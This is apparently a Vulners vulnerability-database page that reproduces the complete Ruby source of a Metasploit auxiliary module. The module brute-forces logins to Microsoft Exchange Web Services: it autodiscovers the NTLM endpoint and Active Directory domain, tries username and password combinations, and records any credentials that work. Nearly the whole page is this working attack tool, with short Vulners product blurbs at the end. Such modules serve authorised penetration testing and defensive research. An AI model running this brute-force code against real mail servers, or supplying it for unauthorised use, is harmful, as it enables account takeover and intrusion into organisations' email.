Lucene search
K

OWA Exchange Web Services (EWS) Login Scanner

🗓️ 29 Feb 2016 03:01:05Reported by Rich WhitcroftType 
metasploit
 metasploit
🔗 www.rapid7.com👁 34 Views

OWA Exchange Web Services (EWS) Login Scanne

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


require 'metasploit/framework/credential_collection'

class MetasploitModule < Msf::Auxiliary
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::AuthBrute
  include Msf::Auxiliary::Scanner

  def initialize
    super(
      'Name'           => 'OWA Exchange Web Services (EWS) Login Scanner',
      'Description'    => %q{
        This module attempts to log in to the Exchange Web Services, often
        exposed at https://example.com/ews/, using NTLM authentication. This
        method is faster and simpler than traditional form-based logins.

        In most cases, all you need to set is RHOSTS and some combination of
        user/pass files; the autodiscovery should find the location of the NTLM
        authentication point as well as the AD domain, and use them accordingly.
      },
      'Author'         => 'Rich Whitcroft',
      'License'        => MSF_LICENSE,
      'DefaultOptions' => { 'SSL' => true, 'VERBOSE' => false }
    )

    register_options(
      [
        OptBool.new('AUTODISCOVER', [ false, "Automatically discover domain URI", true ]),
        OptString.new('AD_DOMAIN', [ false, "The Active Directory domain name", nil ]),
        OptString.new('TARGETURI', [ false, "The location of the NTLM service", nil ]),
        Opt::RPORT(443)
      ])
  end

  def run_host(ip)
    cli = Rex::Proto::Http::Client.new(datastore['RHOSTS'], datastore['RPORT'], {}, datastore['SSL'], datastore['SSLVersion'], nil, '', '')
    cli.set_config({ 'preferred_auth' => 'NTLM' })
    cli.connect

    domain = nil
    uri = nil

    if datastore['AUTODISCOVER']
      domain, uri = autodiscover(cli)
      if domain && uri
        print_good("Found NTLM service at #{uri} for domain #{domain}.")
      else
        print_error("Failed to autodiscover - try manually")
        return
      end
    elsif datastore['AD_DOMAIN'] && datastore['TARGETURI']
      domain = datastore['AD_DOMAIN']
      uri = datastore['TARGETURI']
      uri << "/" unless uri.chars.last == "/"
    else
      print_error("You must set AD_DOMAIN and TARGETURI if not using autodiscover.")
      return
    end

    cli.set_config({ 'domain' => domain })

    cred_collection = build_credential_collection(
      realm: datastore['DOMAIN'],
      username: datastore['USERNAME'],
      password: datastore['PASSWORD']
    )

    cred_collection.each do |cred|
      begin
        req = cli.request_raw({
          'uri' => uri,
          'method' => 'GET',
          'username' => cred.public,
          'password' => cred.private
        })

        res = cli.send_recv(req)
      rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
        print_error("Connection failed")
        next
      end

      if res.code != 401
        print_brute :level => :good, :ip => ip, :msg => "Successful login: #{cred.to_s}"
        report_cred(
          ip: ip,
          port: datastore['RPORT'],
          service_name: 'owa_ews',
          user: cred.public,
          password: cred.private
        )

        return if datastore['STOP_ON_SUCCESS']
      else
        vprint_brute :level => :verror, :ip => ip, :msg => "Failed login: #{cred.to_s}"
      end
    end
  end

  def autodiscover(cli)
    uris = %w[ /ews/ /rpc/ /public/ ]
    uris.each do |uri|
      begin
        req = cli.request_raw({
          'encode'   => true,
          'uri'      => uri,
          'method'   => 'GET',
          'headers'  =>  {'Authorization' => 'NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw=='}
        })

        res = cli.send_recv(req)
      rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
        print_error("HTTP Connection Failed")
        next
      end

      unless res
        print_error("HTTP Connection Timeout")
        next
      end

      if res && res.code == 401 && res.headers.has_key?('WWW-Authenticate') && res.headers['WWW-Authenticate'].match(/^NTLM/i)
        hash = res['WWW-Authenticate'].split('NTLM ')[1]
        domain = Rex::Proto::NTLM::Message.parse(Rex::Text.decode_base64(hash))[:target_name].value().gsub(/\0/,'')
        return domain, uri
      end
    end

    return nil, nil
  end

  def report_cred(opts)
    service_data = {
      address: opts[:ip],
      port: opts[:port],
      service_name: opts[:service_name],
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }

    credential_data = {
      origin_type: :service,
      module_fullname: fullname,
      username: opts[:user],
      private_data: opts[:password],
      private_type: :password
    }.merge(service_data)

    login_data = {
      core: create_credential(credential_data),
      last_attempted_at: DateTime.now,
      status: Metasploit::Model::Login::Status::SUCCESSFUL,
    }.merge(service_data)

    create_credential_login(login_data)
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation